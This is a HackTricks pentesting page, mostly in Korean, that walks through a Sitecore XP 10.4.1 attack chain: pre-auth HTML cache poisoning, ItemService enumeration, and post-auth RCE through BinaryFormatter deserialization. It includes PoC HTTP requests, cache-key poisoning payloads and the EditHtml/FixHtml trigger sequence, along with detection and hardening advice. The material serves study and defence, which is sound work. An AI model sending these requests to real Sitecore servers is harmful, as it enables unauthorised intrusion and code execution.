Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE

Reading time: 7 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

이 페이지는 Sitecore XP 10.4.1에 대한 실용적인 공격 체인을 요약합니다. 이 체인은 pre‑auth XAML handler에서 HTML cache poisoning으로 전환하고, 인증된 UI 흐름을 통해 BinaryFormatter deserialization을 이용한 RCE로 이어집니다. 이 기법들은 유사한 Sitecore 버전/컴포넌트에 일반화되며 테스트, 탐지 및 보완을 위한 구체적인 프리미티브를 제공합니다.

  • 영향 대상 제품(테스트): Sitecore XP 10.4.1 rev. 011628
  • 수정 버전(패치): KB1003667, KB1003734 (June/July 2025)

참고:

Cache Poisoning and Cache Deception

Deserialization

Pre‑auth primitive: XAML Ajax reflection → HtmlCache write

진입점은 web.config에 등록된 pre‑auth XAML handler입니다:

xml
<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />

다음을 통해 접근 가능:

GET /-/xaml/Sitecore.Shell.Xaml.WebControl

컨트롤 트리에는 AjaxScriptManager가 포함되어 있으며, 이벤트 요청 시 공격자가 제어하는 필드를 읽어 대상 컨트롤의 메서드를 리플렉션으로 호출합니다:

csharp
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"];      // target control
string text     = page.Request.Form["__PARAMETERS"];  // Method("arg1", "arg2")
...
Dispatch(clientId, text);

// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);

// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}

핵심 관찰: XAML 페이지에는 XmlControl 인스턴스(xmlcontrol:GlobalHeader)가 포함되어 있다. Sitecore.XmlControls.XmlControl는 Sitecore.Web.UI.WebControl(사이트코어 클래스)에서 파생되며, ReflectionUtil.Filter allow‑list (Sitecore.*)를 통과하여 Sitecore WebControl의 메서드를 사용할 수 있게 한다.

poisoning을 위한 매직 메서드:

csharp
// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}

xmlcontrol:GlobalHeader를 대상으로 지정하고 Sitecore.Web.UI.WebControl 메서드를 이름으로 호출할 수 있기 때문에, pre‑auth 상태에서 임의의 HtmlCache write primitive를 얻을 수 있습니다.

PoC 요청 (CVE-2025-53693)

POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

노트:

  • __SOURCE는 Sitecore.Shell.Xaml.WebControl 내부의 xmlcontrol:GlobalHeader의 clientID입니다 (정적 XAML에서 유래하므로 보통 ctl00_ctl00_ctl05_ctl03처럼 안정적입니다).
  • __PARAMETERS 형식은 Method("arg1","arg2")입니다.

What to poison: Cache key construction

Sitecore controls에서 사용되는 일반적인 HtmlCache 키 구성:

csharp
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
if (key.Length > 0){
string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
if (this.VaryByData)        k += ResolveDataKeyPart();
if (this.VaryByDevice)      k += "_#dev:"   + Sitecore.Context.GetDeviceName();
if (this.VaryByLogin)       k += "_#login:" + Sitecore.Context.IsLoggedIn;
if (this.VaryByUser)        k += "_#user:"  + Sitecore.Context.GetUserName();
if (this.VaryByParm)        k += "_#parm:"  + this.Parameters;
if (this.VaryByQueryString && site?.Request != null)
k += "_#qs:"   + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
if (this.ClearOnIndexUpdate) k += "_#index";
return k;
}
}
return string.Empty;
}

알려진 sublayout에 대한 예제 targeted poisoning:

__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

캐시 가능한 항목 및 “vary by” 차원 열거

ItemService가 (잘못) 익명으로 노출된 경우, 캐시 가능한 컴포넌트를 열거하여 정확한 키를 도출할 수 있다.

빠른 탐색:

GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required

캐시 가능한 항목 및 플래그 목록:

GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100

Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate 같은 필드를 찾아보세요. 디바이스 이름은 다음을 통해 열거할 수 있습니다:

GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100

Side‑channel enumeration under restricted identities (CVE-2025-53694)

ItemService가 제한된 계정(예: ServicesAPI)으로 위임되어 빈 Results 배열을 반환하더라도, TotalCount는 여전히 pre‑ACL Solr hits를 반영할 수 있습니다. 와일드카드를 사용해 item groups/ids를 brute‑force하면 TotalCount가 수렴하며 내부 콘텐츠 및 장치를 매핑하는 것을 관찰할 수 있습니다:

GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item

인증 후 RCE: convertToRuntimeHtml의 BinaryFormatter sink (CVE-2025-53691)

Sink:

csharp
// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));

Reachable via the convertToRuntimeHtml pipeline step ConvertWebControls, which looks for an element with id {iframeId}_inner and base64 decodes + deserializes it, then injects the resulting string into the HTML:

csharp
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2   = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);

트리거(인증된 상태, Content Editor 권한). FixHtml 대화상자가 convertToRuntimeHtml을 호출합니다. UI 클릭 없이 엔드투엔드:

// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx

// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
<iframe id="test" src="poc" value="poc"></iframe>
<test id="test_inner" value="BASE64_GADGET"></test>
</html>

// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}

// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...

가젯 생성: ysoserial.net / YSoNet와 BinaryFormatter를 사용해 문자열을 반환하는 base64 페이로드를 생성한다. 해당 문자열의 내용은 deserialization 부작용이 실행된 후 ConvertWebControls에 의해 HTML에 기록된다.

Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Complete chain

  1. Pre‑auth 공격자가 XAML AjaxScriptManager를 통해 WebControl.AddToCache를 리플렉티브하게 호출하여 HtmlCache를 임의의 HTML로 오염시킨다.
  2. 오염된 HTML은 인증된 Content Editor 사용자를 FixHtml 흐름으로 유도하는 JavaScript를 제공한다.
  3. FixHtml 페이지는 convertToRuntimeHtml → ConvertWebControls를 트리거하며, 이 과정에서 BinaryFormatter를 통해 공격자가 제어하는 base64를 deserialization하여 Sitecore 앱 풀 식별자로 RCE가 발생한다.

Detection

  • Pre‑auth XAML: /-/xaml/Sitecore.Shell.Xaml.WebControl에 대한 요청에서 __ISEVENT=1, 의심스러운 __SOURCE__PARAMETERS=AddToCache(...).
  • ItemService probing: /sitecore/api/ssc 와일드카드 쿼리 급증, 빈 Results와 큰 TotalCount.
  • Deserialization attempts: EditHtml.aspx 다음에 FixHtml.aspx?hdl=... 호출 및 HTML 필드에 비정상적으로 큰 base64.

Hardening

  • Apply Sitecore patches KB1003667 and KB1003734; gate/disable pre‑auth XAML handlers or add strict validation; monitor and rate‑limit /-/xaml/.
  • BinaryFormatter 제거/대체; convertToRuntimeHtml 접근 제한 또는 HTML 편집 흐름에 대한 강력한 서버 측 검증 시행.
  • /sitecore/api/ssc를 loopback 또는 인증된 롤로만 제한; TotalCount 기반 side channels를 leak하는 impersonation 패턴을 피한다.
  • Content Editor 사용자에 대해 MFA/최소 권한 적용; cache poisoning으로 인한 JS 유도 영향을 줄이기 위해 CSP 검토.

References

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기